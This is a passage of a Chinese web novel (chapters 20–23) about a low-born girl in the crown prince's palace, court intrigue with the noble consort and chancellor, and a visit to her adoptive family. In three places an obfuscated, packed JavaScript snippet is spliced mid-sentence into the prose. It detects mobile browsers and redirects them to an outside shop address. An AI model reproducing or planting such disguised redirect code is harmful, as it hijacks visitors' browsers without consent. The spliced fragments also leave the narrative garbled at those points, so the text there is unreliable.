“既然这样,我……我要点工钱,不过分吧?你别看我爹娘手脚不干净,他们也不是什么都偷的,他们管这叫……劫富济贫!而且啊,叶片儿还一心想让我找自己的亲生父母,她人真的挺好的。” 叶小寻说着说着,声音低了下去。她抱着双膝缩成一团,下巴搁在膝盖上,已经醉得有点迷糊了,嘴里开始胡言乱语: “她还说,就是想让我一直记得寻亲,才给我起名叫小寻。可我……可我早就寻到了呀!他们就是我父母!你说,等有天叶片儿知道她的女婿居然是当朝太子,会不会……会不会吓得直接晕过去?呵呵呵……好好笑哦……” 她傻笑着,眼角却有些湿润。 20. 第 20 章 叶小寻这一觉醒来,只觉得通体舒畅。 身下的凉被如水般沁凉,触手生温,泛着柔和的缎光。 她满意地蹭了蹭这油光水滑的缎面,满意满意,多滚两圈。 “娘娘,您可算醒了。”祝凝端着托盘进来,语气里带着几分无奈,“奴婢伺候过这么多主子,还是头一回见人喝两杯甜酒就能把自己喝倒的。那甘露酒,可是出了名的不易醉人。” “人有失手,马有失蹄嘛,呵呵……” 叶小寻干笑两声,丝毫不觉尴尬。 她麻利地爬起来,被祝凝按头漱完口,又接过祝凝递来的汤药,仰头便是一饮而尽。 她咂摸了一下嘴里的余味:“嗯?今天怎么又甜了点儿?” 之前一直喝的那帖,总也冲不掉茶的涩味,今日的汤药突然变得爽口甘甜,一时半会儿还不习惯呢。 “加了山楂和蜜。”祝凝接过空碗,“刘大人说如今正值仲夏,娘娘体内火旺,得用些酸甘之物消暑开胃。” “没事儿。”叶小寻不以为意地摆摆手,“夏天难熬了些,可我是小火炉啊!等到了冬天你就知道好处了。到时候天寒地冻的,你守夜若是冷了,我给你暖手哈。” “娘娘折煞奴婢了!这可使不得!”祝凝惊呼一声。 …… 容慎和涤墨在偏殿倒是一股肃杀之气翻涌。 前朝暗潮涌动,沈道衍虽被断了财路,却也是百足之虫死而不僵,必须时刻提防他的反扑。 涤墨将一本封面朴实无华的账本呈上,这是那日跟着黑衣人回到老巢里蹲了将近一个月才搜出来的。 容慎翻看完账册,神色沉静,手中捏着一枚白玉棋子,久久未落。 “接下来这步棋怎么走,还请殿下示下。”涤墨低声道。 “啪。” 白子落下,干脆利落地吃掉了盘面上三颗黑子。 “这一子,若用对了地方,足以致命。”容慎指尖摩挲着棋盘边缘,语气平静得听不出一丝波澜,“但现在若草率出手,力度还不够重。不到一击必杀之时,决不可轻易亮出底牌。” 涤墨素来稳重,此刻也略显出了些不甘之色。 “殿下,沈相与贵妃那边私交甚密,近日宫中眼线回报,那边恐有异动。” “涤墨,孤是怎么教你的?” 容慎抬眸,目光清冷如刃,“若是不能保证一口咬断毒蛇的七寸,便要耐得住性子等。沈道衍这只老狐狸,最擅长的便是断尾求生。切不可轻敌。” “是,主子教训的是。”涤墨低下头,最后看了一眼那本足以让沈道衍脱层皮的账本,躬身准备退下。 “慢着。” 容慎突然唤住他。 “东宫那边,尤其是娘娘身边,再加派一倍的人手。接下来的日子,恐怕是一场硬仗。” 涤墨一怔,随即领命:“是。” 容慎盯着棋盘上那颗被重重包围的孤子,眼中闪过一丝狠戾,仿佛在对着那虚空的对手低语: “你以为,孤还能让你在东宫得手第二次?做梦。” 叶小寻那跳脱的性子最是喜动,不爱被这四方宫墙拘着,他并非不知。 容慎蹙起眉头,似乎是被眼前的棋局困住了。 但棋局已开,落子无悔。 他落下了一子黑。 …… 这一日,容慎从勤政殿议事归来,刚转过御花园的拐角,便迎面撞上了正带着浩浩荡荡仪仗。 正是要去给皇上送汤的师贵妃。 冤家路窄,避无可避。 两人目光在空中交汇,瞬间便是短兵相接。 师贵妃停下脚步,抚了抚鬓边的金步摇,似笑非笑:“哟,本宫当是谁呢。太子殿下如此积极去勤政殿尽孝,本宫深感欣慰。若是殿下能早日独当一面,不用事事让你父皇烦心,圣上的龙体想必也能好得快一些。” 容慎神色未变,依足了规矩上前行礼,动作行云流水,挑不出半点错处。 “父皇天威浩荡,儿臣身为储君,自当辅佐君侧,却也不敢逾矩。诸多朝中决断,还需父皇圣心独运,首肯才行。儿臣自有分寸,不劳母妃费心。” 这番回答滴水不漏,师贵妃面色一僵,却也找不到发作的由头。 只是她眼尖地发现,容慎起身时,视线若有若无地在她身后侍女提着的那个描金食盒上停留了一瞬。 那一瞬间的警惕,虽然极快,却没逃过她的眼睛。 师贵妃心中冷笑,面上却笑开了花:“怎么?本宫给圣上送些滋补的参汤,太子殿下也不放心?莫不是在想,这汤里有什么猫腻,正琢磨着如何治本宫一个大不敬之罪?” 她一动作,侍女便低眉顺眼地上前将她搀扶下步辇。 师贵妃上前几步,逼近容慎,身上浓烈的脂粉香气扑面而来。 她借着整理衣袖的动作,凑到容慎耳边,傲慢地抬起下巴,咬牙切齿地低声道: “太子尽管放心。圣上当然是健康平安才好。在我把你彻底弄倒之前,圣上可千万不能有什么闪失。” 容慎后退半步,拉开距离,神色淡漠:“母妃言重了。儿臣不敢。” 看着师贵妃摇曳生姿远去的背影,容慎站在原地,眸色渐深。 师贵妃太得意了。这种得意不仅仅是嚣张,更像是有恃无恐。 …… 回到东宫时,紧张的气氛荡然无存。 因为一起喝过一次酒,虽然叶小寻那是单方面的撒酒疯,但两人的关系莫名其妙近了许多。 远远看见两个身影蹲在院落里,没由来地觉得这画面令人心情舒畅。 此刻,叶小寻正蹲在院子的一角,手里拿着根树枝在地上比划,正给祝凝形容怎么做秋千。 “哎呀不对不对,不用找工匠,那多费事儿啊!还要画图纸还要等审批,黄花菜都凉了!” 叶小寻把树枝一扔,挽起袖子,“咱们自己动手,丰衣足食!你去找两根结实的麻绳,要那种手腕粗的,再找一块平整的木板子……” 容慎无声地靠近,站在她们身后听了一会儿。 “然后在板子两头钻四个孔,穿过去打个死结,一定要死结啊!不然荡到半空掉下来屁股要开花的!最后挂在那棵老槐树的横杈上就行了!” 叶小寻说得眉飞色舞,仿佛已经将那个简陋的秋千架好了,想象着这是这世上最好玩的玩具。 她一回头,正好撞进容慎带笑的眼眸里。 “咦?你回来啦! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132728|196239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 叶小寻眼睛一亮,露出一个粲然的笑脸,“我在教祝凝做秋千呢!等做好了,你也可以来玩!你要是害臊,我可以晚上陪你偷偷出来荡,保证没人看见!” 祝凝在一旁听得冷汗直流,恨不得去捂自家娘娘的嘴。 让太子殿下半夜偷偷荡秋千?这也太…… 容慎却并未生气,反而配合地点点头:“好,那孤便等着了。” 叶小寻听完他说,歪着头看看他,语气突然软了下来:“怎么了?可是有什么心事?” 说罢,有些紧张地用手里的树枝戳了戳地上的泥土。 “算算日子,又是一个月有余了。我在想,你是不是……是不是想出宫探望一下你……爹娘?” 容慎顿了顿,看着她充满期待的眼睛,心中一软。 “什么?当真?现在吗?不不不,我是说,今天吗?” 现下若告诉她一个不字,恐怕她能当场哭出来。 “叶小寻。” “啊?” “去准备一下东西吧。明日孤安排人送你去。” 叶小寻眼睛唰地亮了,简直不敢相信自己的耳朵:“真的?明天,明天也成,你太仗义了吧!” “真的。”容慎点头,“不过这几日宫外不太平,你不可久留,亦不可乱跑。” “知道知道!我就送个东西,谈谈心,太阳不落山就回!” 叶小寻一个骨碌,没个正形地从藤椅上爬起来,欢呼一声,兴冲冲地跑进内殿:“祝凝快来!帮我挑首饰去!” 容慎负手踱步跟在她身后,看着她在妆奁前忙前忙后,将那些御赐的金银玉器像挑大白菜一样翻来翻去。 “这个金簪子太重了,叶片儿肯定嫌坠脖子……这个玉镯子不错,水头好,戴着显贵气……” 她边挑还边念叨,突然像是想起了什么,转头看向容慎,举着一只赤金的步摇: “对了,既然是赏给我的东西,应该就是我的了吧……那我拿去送人也是我说了算哦?你不会心疼吧?” 容慎靠在门边,看着她财迷又小心的模样,唇角微勾: “自然。给了你的,便是你的。随你怎么处置。” 叶小寻心满意足还不忘搞怪,拍拍胸口道:“哎哟,天呐,姑奶奶我这也算撞上好日子了,莫不是黄历今日诸事皆宜?回头我可要好好拜拜菩萨,心诚则灵心诚则灵……” 她碎碎叨叨地忙活着,容慎干脆在她身后的软榻上坐下来看。 “你看这个,还有这个!叶片儿一定喜欢!”她举着一把流苏簪子献宝似的给容慎看。 “嗯。” “不过有些花俏了,哇……这个……”她捧起一枚佛牌,突然语塞。 这好像是大婚时,霍家的嫁妆…… “对不起啊,得意忘形了些。”叶小寻忙不迭将佛牌放下,有些不安地锁进妆奁里。 空气有一点安静,祝凝不敢说话,叶小寻拍拍手。 “这样,我先把……霍姐姐的嫁妆收起来。” “娘娘……”祝凝悄声道。 “你怎么这么小声啊?”叶小寻也小小声。 祝凝使了个神色,叶小寻顺着望过去,容慎已经单手托着腮阖上了眼。 21. 第 21 章 涤墨驾着一辆不起眼的青蓬马车,稳稳地停在东宫侧门。叶小寻钻进车厢,还是没忍住,掀开帘子又往那重重宫墙里望了一眼。 马车辚辚而行,叶小寻瞅准了时机,装作漫不经心地问道: “喂,涤墨大人,你家殿下怎么不在?” 涤墨目视前方,握着缰绳的手稳如磐石,只闷声道: “殿下自是公务繁忙,娘娘不必挂心。” 叶小寻撇撇嘴,有些不甘心: “什么叫不必挂心?我可记得当初也不知是谁,说我是太子的人了,既然如此,他的事便是我的事。既是我的事,我有什么不能知道的?” 涤墨被噎了一下,半晌,语气透着些无可奈何。 “贵妃娘娘与沈相沆瀣一气,乃是殿下的死敌,殿下汲汲营营,娘娘总该有所耳闻。” 叶小寻皱起眉头听完。 “哇哦——真是好稀罕的惊天大秘密啊!满京城还有谁不知道这事儿吗?能不能说点新鲜的?” 涤墨闭紧了嘴巴,再也不肯多吐露半个字。 叶小寻见套不出话来,也就悻悻地住了嘴。 但她只是出身寒微,又不是个傻子。 涤墨越是守口如瓶,便越说明宫中的局势早已是剑拔弩张,到了非生即死的关头。 容慎特意在这个节骨眼上把她送出来,总觉得有什么事情瞒着她。 那个平日里总爱冷着脸的人,心思倒是藏得深。 马车驶入闹市,久违的喧嚣声扑面而来。 叶小寻掀开帘子一角,贪婪地看着外面的世界。 久不见京城繁华,才发现这人间烟火依旧。熙熙攘攘的人群里,店小二甩着帕子卖力吆喝,小贩推着车走街串巷,角落里还有个摆摊算命的胖道士百无聊赖地偷闲。 百姓们为了生计奔波忙碌,脸上却大多带着笑意。 如此盛世繁华,也算得上是国泰民安了。 叶小寻轻叹一声,放下帘子。 这满街的太平盛世,谁又知道那高墙深宫之中,早已是杀机四伏了呢? 马车七拐八拐,终于停在了城郊那处农家院落前。 叶小寻跳下车,刚一推门,便愣住了。 原本略显破败荒芜的小院,此刻竟被打扫得一尘不染。更令人惊奇的是,院墙根下竟开辟出了一方花圃,种满了郁郁葱葱的花草,生机盎然。 “叶姑娘!” 一声清脆的呼唤传来。 叶小寻循声望去,只见枫娘正抱着个陶罐站在廊下。她褪去了昔日那身繁复罗衫,换上了一身利落的粗布荆钗,虽未施粉黛,但那一脸明媚的笑意,竟比这满院的花草还要耀眼几分。 “枫娘?”叶小寻新奇地打量着四周,“这院子……是你弄的?你还会侍弄花草呢?” 枫娘有些不好意思地抿嘴一笑: “让姑娘见笑了。我身无长物,只有从前在百花楼……咳,从前跟着姐妹们学了些皮毛。前些日子片儿姐听说我想试试,便去求了门口那位守卫大哥弄了些种子来。没成想,还真活了一些。” 叶小寻看着那一片绿意盎然:“你也太谦虚了吧?这哪里叫只活了一些?简直是妙手回春啊!什么时候能开花呀?我也好跟着沾沾光,赏赏花。” 枫娘摇摇头,眼中闪过一丝慧黠: “姑娘这回可猜错了。要的不是花,是等花谢了结出的果子。那果子晒干了能入药,也是一笔进项。” 叶小寻听得似懂非懂,只觉得厉害,围着枫娘好一顿夸赞,直把人夸得红了脸。 这时,厨房的门帘一掀,叶片儿手里拿着个锅铲风风火火地冲了出来。 “小寻!你个死丫头!还知道回来啊?怎么一走就一点儿音信都没有!你是想急死我不成?” 叶小寻缩了缩脖子,嬉皮笑脸地凑上去。 “叶片儿你干啥呢,这么大火气。我以前走个十天半个月的时候多了去了,也没见你这么唠叨过呀。” “还敢顶嘴!”叶片儿瞪起眼睛,扬起锅铲作势要打她屁股,“以前那是以前,现在能一样吗?那地方是随便能待的吗?” 叶小寻眼疾手快,捂着屁股一溜烟躲到了枫娘身后,探出个脑袋做鬼脸。 枫娘含笑看着她们打闹了一阵,才适时开口解围道: “好了好了,姑娘难得回来,片儿姐就别生气了。不若我去加双筷子,根儿叔今日精神好些了,也能起身了,我去扶他下地一块儿吃。” 叶小寻一听这话,差点没笑出声来。 “哎我说枫娘,你这辈分怎么论的?喊她姐,喊叶根儿叔呢!这不差辈儿了吗?” 叶片儿得意地扬了扬下巴,伸手理了理鬓角。 “那当然是因为祖奶奶我看着年轻着呢!不像那个老东西,一脸褶子。” 叶根儿本就寡言少语,但大病初愈,见叶小寻来了,那双浑浊的眼睛里也透出几分亮光。 虽然腿脚还不利索,但精神头确实不错,饭桌上还破天荒地多嘱咐了叶小寻几句,让她多吃些菜。 “多吃点,看你瘦的,这脸都没肉了。”叶根儿给她夹了一筷子青菜。 叶片儿在一旁扒着饭,有口无心地接了一句: “你瞎操什么心。人家现在是在宫里当娘娘,山珍海味吃着,燕窝鱼翅喝着,哪里还吃得惯咱们这些粗茶淡饭。” 叶小寻刚送到嘴边的饭,突然就咽不下去了。 筷子停在半空,桌上的气氛顿时有些尴尬。 枫娘见状,连忙给叶片儿使眼色,叶片儿也意识到自己这话也实在怪了些,有些不自在地低头猛扒饭。 叶小寻垂下眼帘,掩去眼底的一丝黯然。 若是真就停了筷子,岂不真应了叶片儿的话了? “谁说的?宫里的东西做得精细是精细,可哪有叶片儿做的这口家常味儿香?” 叶小寻故作夸张地大口嚼着青菜,哪怕味同嚼蜡,也强行吃了满满一大碗饭,还把碗底亮给他们看。 只是那兴致,到底是一点也提不起来了。 早早吃完了饭,日头还未落山。 枫娘忙着去给那些花草浇水,叶小寻便默默回了房,整理她从宫里带出来的那个包袱。 叶片儿心知自己饭桌上说错了话,有些局促地跟了进来,搓着手站在一旁看着她。 “那个……小寻啊……” “我没生气。”叶小寻头也没抬,手里摩挲着那只金步摇,“叶片儿,我真的没生气。我只是……只是有些难过。觉得自己挺没出息的,混了这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132729|196239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久,也没能让你和叶根儿过上真正的好日子,还得让你们跟着担惊受怕。” 叶片儿一听这话,眼眶顿时红了,急道: “呸呸呸!说什么胡话呢!谁说你没出息?你才多大呀!我和叶根儿身体硬朗着呢,只要一家人在一起,吃糠咽菜也是好日子!” 叶小寻吸了吸鼻子,打定主意让这事儿翻篇。 她转过身,献宝似的把包袱里的东西一股脑儿倒在床上。 “快看!这些可都是好东西!这个金簪子是给你的,分量足。这个玉镯子水头好,适合枫娘。至于叶根儿嘛……就只有这几盒御膳房的糕点咯,软烂好克化!” 叶片儿看着那一床珠光宝气的东西,却没有半分喜色,反而眉头越锁越紧。 “搞这些花里胡哨的东西做什么?我啊,只要你平平安安的就行。你这一去就杳无音讯,我和你爹整宿整宿睡不着觉,就怕……” “哎呀,我好着呢!你也看到了,我在宫里吃香的喝辣的,还有人伺候,好不快活!” 叶小寻拿起那只金簪子就要往叶片儿头上插。 叶片儿一把抓住她的手,深深地看了她一眼,语重心长道: “小寻,听娘一句劝。那是天家,是龙潭虎穴。咱们这种小老百姓,若是接不住这泼天富贵,那就不是福,是祸啦。” 她紧紧握着叶小寻的手,声音有些发颤: “若是还来得及,及早抽身才好。你不用担心我们,我们大不了不混京城了。现在这些珠宝首饰,变卖了足够咱们去乡下盘块地,种种庄稼,养几只鸡鸭,一辈子踏踏实实过,挺好的。我们不偷了,以后老老实实过日子,行不行?啊?” 叶小寻手上的动作顿住了。 那只金灿灿的簪子在夕阳下折射出耀眼的光芒,却刺得她眼睛发酸。 抽身? 若是刚进宫那会儿,听到这话她怕是做梦都要笑醒,连夜扛着包袱就跑了。 可现在…… 那个会在月下陪她喝酒,会纵容她胡闹的人,还在那个吃人的深渊里呢。 “你说什么呢……”叶小寻抽回手,避开叶片儿的视线,低头去摆弄那些首饰,声音小得像蚊子哼哼,“我现在……我现在走不了。我身居要职,那个……那个太子爷特欣赏我,说我可堪大用。我一走,这江山社稷都要危喽。” “啪!” 叶片儿一巴掌拍在她背上,气笑道:“就你这小丫头片子,还撼动江山哩!你当你是谁啊?武皇转世不成?” 她一边说着,一边装模作样地开始叠衣服,嘴里嘟囔着: “你那点小心思,还能瞒得过我?你那是为了江山吗?我看你是舍不得吧。” “什么舍不得?谁舍不得了?”叶小寻像被踩了尾巴的猫,瞬间炸毛。 叶片儿不理她,自顾自地拍打着衣服上的褶皱。 “问你呢!谁舍不得啦?!”叶小寻追问道,脸颊却莫名有些发烫。 叶片儿斜睨了她一眼,没说话,但那眼神分明在说:“你就装吧。” 叶小寻被她那眼神惹急了,叉着腰,脖子一梗,大声哼道: “啊对!没错!我就是舍不得宫里的山珍海味呢!那御膳房的肘子炖得可烂乎了,我还没吃够呢!怎么着吧!” 22. 第 22 章 叶片儿深深看了一眼:“你就装吧,我还不知道你吗?你那点小心思,若是能用在正道上,早就发财了。” 她囫囵吞枣将叶小寻那个刚刚整理好的包袱皮一把拎了出来,重重地往叶小寻怀里一塞。 “行了!珠宝也送了,饭也吃了,人也看到了。待够了你就赶紧回去!” 叶小寻怀里被塞了个满怀,愣了一下:“这么急干嘛?你不愿意我待这?” 叶片儿已经烦上了,推推搡搡把她往外面拱。 “赶紧回你的金窝银窝去!你不是还要去拯救这个大晟朝吗?那就去啊!赖在我这穷乡僻壤的算什么本事?我跟你根儿叔身子骨刚好,经不起折腾,你若是在这儿把那晦气引来了,我们老两口还活不活了?” 叶小寻被推得一个踉跄,脚后跟磕在门槛上。 她有些无措地看着眼前这个平日里虽然嘴碎但最是护短的女人。 叶片儿绝不是如此开不得玩笑的,叶小寻心里猛地一酸,像是被人狠狠捏了一把。 她不再挣扎,顺着叶片儿的力道跨出了门槛。 她回过头,看了看已经偏西的日头,又看了看面前这张故作冷硬的脸,强行扯出一个大大的笑容。 “哎呀,确实,天色也不晚了。那我就不跟你们说了,我答应了人家早点回去的,要是回去晚了被扣工钱可划不来。” 叶片儿嘴唇抿成一条线:“赶紧走吧,以后没事少来!” 门关上的那一瞬间,所有的声音仿佛都被隔绝了。 叶小寻站在门外,手里紧紧抱着包袱,却没有立刻离开。 眼泪却争先恐后地往外涌。 她死死咬住嘴唇,不敢让自己发出一丁点声音,只在门外恭恭敬敬地磕了个头,擦干眼泪,转身跳上了停在巷口的青蓬马车。 “走吧,涤墨大人。” …… 回宫的路上,马车走得很慢。 叶小寻的心情有些低落,一直趴在窗框上,掀开帘子的一角,贪婪地看着窗外流动的京城画卷。 正是傍晚时分,华灯初上,京城的繁华才刚刚拉开序幕。 街道两旁,店铺鳞次栉比,酒旗在风中招展。 卖花的小姑娘挎着篮子穿梭在人群中,笑声清脆。 茶楼里说书先生醒木一拍,引得满堂喝彩。 街边的馄饨摊冒着腾腾热气,香气顺着车窗飘进来,勾得人馋虫大动。 看着看着,叶小寻眼底的那点离愁别绪渐渐散去,取而代之的是一种莫名的安宁。 这就是人间啊。 这是她从小摸爬滚打长大的地方,虽然充满了泥泞和算计,但也是最鲜活的地方。 “下次再这样肆无忌惮地看这街景,还不知道是多久以后呢。”她喃喃自语。 看着看着,她脑子里突然冒出一个有些不切实际的念头。 她想到了容慎。 那个整日里冷着一张脸,满脑子都是权谋算计的男人。 “嗯,虽然看起来凶凶的,动不动就吓唬人要砍头,心眼儿也有八百个……” 叶小寻托着下巴,手指在窗框上无意识地画着圈,“但他做的事儿,好像又都是为了护着这些。” 她确实想象不到,有朝一日那个冷冰冰的男人当上九五至尊之后,会是什么光景。 他会是个好皇帝吗? 这些现在还在街头巷尾笑闹着,为了几文钱讨价还价的百姓们,将来在他的治下,还能像现在这样喜乐安宁吗? “应该……会的吧。” 叶小寻想。 虽然他这人嘴巴毒了点,性格闷了点,但…… 正胡思乱想间,马车拐过一个街角,一阵诱人的甜香气扑鼻而来。 叶小寻眼睛一亮,视线瞬间被街边的一个小贩吸引住了。 只见那小贩扛着个巨大的草把子,上面插满了红彤彤的东西。 夕阳的余晖洒在那上面,折射出诱人的琥珀色光泽。 “糖葫芦!” 叶小寻差点没从车窗里钻出去,“嗯?那是……还有糖苹果?!” 宫里面什么山珍海味没有?御膳房的点心做得精致得像艺术品,哪怕是一块普普通通的绿豆糕,都能给你雕出花儿来。 可是,唯独这市井街头的糖葫芦,宫里是绝对吃不到的。 山楂的酸和麦芽糖的甜交汇着,还有那一定要在大街上边走边吃的烟火气,是御膳房那些精雕细琢的玩意儿怎么也比不了的。 叶小寻眼珠子一转,立刻敲了敲车厢壁。 “涤墨!涤墨大人!停车停车!” 前头驾车的涤墨勒住缰绳,马车缓缓停在路边。 他头戴斗笠,一身粗布麻衣伪装成马夫,压低声音问道: “娘娘,何事?此处人多眼杂,不可久留。” 叶小寻掀开车帘,露出半张脸,笑得那叫一个谄媚: “涤墨大人,咱们商量个事儿呗?你看这时间还早,咱们也不急着这一时半刻的。我能下去走走吗?” 涤墨眉头一皱,刚要拒绝。 叶小寻连忙抢白道:“哎呀你放心!我都戴着帷帽呢!这轻纱遮面,谁能看清我的脸?再说了,我叶小寻在江湖上那也就是个无名小卒,在街上根本就没有人认识我。我就下去买个吃的,马上就回来!” 见涤墨还是不为所动,叶小寻决定使出杀手锏。 她清了清嗓子,声音甜得能掐出水来: “你就悄悄跟在我后面嘛。对呀,有您这么一位大高手跟着我,我还有什么不放心的?涤墨大人,您这身手不凡,武功盖世,那简直就是天神下凡啊!放眼这整个京城,甚至整个大晟朝,那个容慎……啊不,殿下面前的武力担当,绝对就属你了!您就是那定海神针,有您跟着,我那是一百个放心,一千个安心!” 涤墨握着缰绳的手抖了抖,嘴角抽搐。 他跟随太子多年,听惯了朝堂上的尔虞我诈,也听惯了下属的恭敬汇报,今天这还真是第一天听个新鲜。 虽然明知道这丫头是在忽悠人,但是嘛…… “娘娘……”涤墨深吸一口气,觉得再让她说下去,自己这杀手的名声都要毁了,“下去吧。一刻钟。” “好嘞!多谢涤墨大侠!” 叶小寻欢呼一声,手脚麻利地跳下马车。 涤墨无奈地摇摇头,将马车停好,压低斗笠,不远不近地坠在她身后。 叶小寻戴着帷帽,脚步轻快地穿梭在人群中。 她并没有直奔卖糖葫芦的小贩,而是先被旁边的一个卦摊给吸引了注意。 那是一个挂着破布幡子的道士摊位。 早上她出宫的时候,马车经过这里,她依稀记得这里坐着个胖乎乎的道士。 当时她还心里嘀咕,这道士看着就不像能辟谷的样子。 叶小寻蹦蹦跳跳地经过,余光一瞥,突然脚步一顿。 “咦?这道士怎么换了一个人?” 原本那个胖道士不见了,取而代之的是一个身形瘦削的中年道士。 他穿着一身洗得发白的道袍,正坐在那儿闭目养神。 叶小寻好奇心起,忍不住多看了几眼。 这一看不要紧,那道士似有所感,猛地睁开眼睛,两道精光直直地射向叶小寻。 四目相对。 那道士眼珠子骨碌一转,立马换上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132730|196239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一副高深莫测的笑脸,朝叶小寻招了招手: “无量天尊。这位女施主,贫道观你印堂发亮,紫气东来,可是有什么贵干呀?” 叶小寻隔着面纱,挑了挑眉:“我?我就路过。” “哎,相逢即是有缘。”那道士连忙起身拦住,“施主既然停步,那便是天意。贫道不才,略通命理。要不……给施主算上一卦?” 叶小寻来了兴致,抱着双臂:“行啊,那你算算,我是什么命?” 那道士装模作样地掐了掐手指,又围着叶小寻转了两圈,嘴里念念有词: “妙啊,妙啊!施主这命格……啧啧啧,贵不可言呐!” 他压低声音,一脸神秘地说道:“贫道观施主骨骼清奇,乃是天生的凤骨!这命好啊,生来就是大富大贵的命!从小到大那是衣食无忧,锦衣玉食,十指不沾阳春水……哎呀,一看就是那高门大户里的千金小姐!” 叶小寻听得嘴角直抽抽。 “大错特错!”叶小寻叉着腰,“本姑娘从小就是个要饭的,吃百家饭穿百家衣,还锦衣玉食?” 她上前一步,逼视着那道士,突然压低声音。 “你根本就不是早上那个胖道士。早上那人呢?” 原本还一脸堆笑的道士脸色瞬间变了。 半晌,他才冷着脸,沉声道: “施主,饭可以乱吃,话可不能乱讲。泄露天机是要遭天罚的,慎言为妙。” 叶小寻被他这突然转变的气场唬得一愣一愣的。 她半天才憋出一句:“什么呀……躲懒轮班还这么神神叨叨的,凶什么凶。” 那道士却不再理她。 他看了一眼四周,见没人注意,竟是一把拔起插在地上的幡子,连桌上的签筒都懒得收,直接往怀里一揣。 “今日不祥,遇了煞星。收摊喽——” 说完,也不等叶小寻反应,那背影大摇大摆地混进了人群,步履极快,眨眼间就不见了踪影。 叶小寻站在原地,挠了挠头,一脸莫名其妙。 她凑过去往那道士消失的方向望了望,没看出个所以然来。 突然,一阵叫卖声把她的思绪拉了回来。 “冰糖葫芦——好吃的冰糖葫芦——” 叶小寻猛地反应过来:“哎呀!我的糖葫芦!” 再不去买,那卖糖葫芦的小贩都要走远了! 她提起裙摆,三步并作两步冲到那小贩面前。 “老板!别走!给我来一串!” 小贩是个憨厚的中年人,见来了生意,笑得合不拢嘴: “好嘞!姑娘,吃糖葫芦呀?刚做好的,脆着呢!” “嗯嗯!”叶小寻点头如捣蒜,眼睛直勾勾地盯着那草把子,“要那个山楂最大的!” “得嘞!”小贩手脚麻利地取下一串,又指了指旁边的一串,“姑娘,还有刚蘸好的糖苹果呢,你看!这叫林檎沾蜜,用的可是上好的红林檎,咬一口全是汁水,要不要也来一串尝尝鲜?” 叶小寻看着那圆滚滚的糖苹果,裹着晶莹剔透的糖衣,简直像个红宝石球。 她咽了口口水,摸了摸荷包。 “要!都要了!”叶小寻大手一挥,豪气干云,“糖葫芦来两串,糖苹果也来两串!我带回去给家里人尝尝!” 她想到了还在宫里批折子的容慎。 还有整天忙前忙后的周嬷嬷,心细如发的祝凝。 对啦,不远处还有个涤墨在等她呢。 叶小寻付了钱,一手举着糖葫芦,一手提着包好的糖苹果,美滋滋地转身往马车方向跑去。 “涤墨大人!快走快走!回去晚了糖都要化了!” 23. 第 23 章 暮色四合,东宫的琉璃瓦被夕阳余晖镀上了一层暖橘,待最后一抹霞光沉入西山,宫墙内的灯火便次第亮了起来。 涤墨跟随叶小寻踏入东宫侧门时,平日里握惯了杀人刀的手,此刻正颇为僵硬地擎着一串红艳艳的糖葫芦。 那糖衣在灯火下晶莹剔透,衬得他那张隐在斗笠阴影下的毫无表情的脸格外违和。 他将头顶的斗笠压得极低,恨不得将整张脸都埋进衣领里,仿佛只要他看不见旁人,这东宫里的其他宫人侍卫便也都看不见他这副模样。 “涤墨,你属乌龟的么?” 前方传来少女清脆的催促声。 叶小寻停下步子,站在长廊尽头的灯影里,回首朝他招了招手,笑意盈盈。 “太热了,若是让这糖衣化了,口感可就差远了,快些跟上。” 她在前面走得轻快,裙裾飞扬,像极了一只刚归巢的欢脱雀鸟。 涤墨无法,只得硬着头皮加快了步子。 若是被暗卫营的兄弟瞧见,他的威严怕是要扫地出门了。 刚转过回廊,便见一道修长挺拔的身影立于阶前。 容慎今日穿了一身墨绿绣银竹的常服,少了白日朝堂上的凌厉威压,多了几分清贵疏朗。 他负手而立,似乎已在此等候多时,听见脚步声,那双原本淡漠如霜的凤眸微微抬起,目光越过叶小寻,精准地落在了涤墨手中的糖葫芦上。 那眼神透着一股子说不清道不明的意味。 涤墨只觉后背一凉,本能地想跪下请罪,却奈何手里擎着那串红果子,跪也不是,站也不是。 叶小寻却毫无所觉,几步蹦到容慎跟前,献宝似的指了指涤墨手中的东西,又变戏法似的从自己袖袋里掏出余下的糖葫芦和糖苹果。 “喏,殿下快挑挑。”叶小寻笑得眉眼弯弯,“原本买了四串,我和涤墨都没舍得吃,特意带回来给你们尝鲜。这一串是山楂的,酸劲儿大;这一串是……嗯……什么林檎沾蜜的,老板起得名字真难记。殿下想吃哪个?” 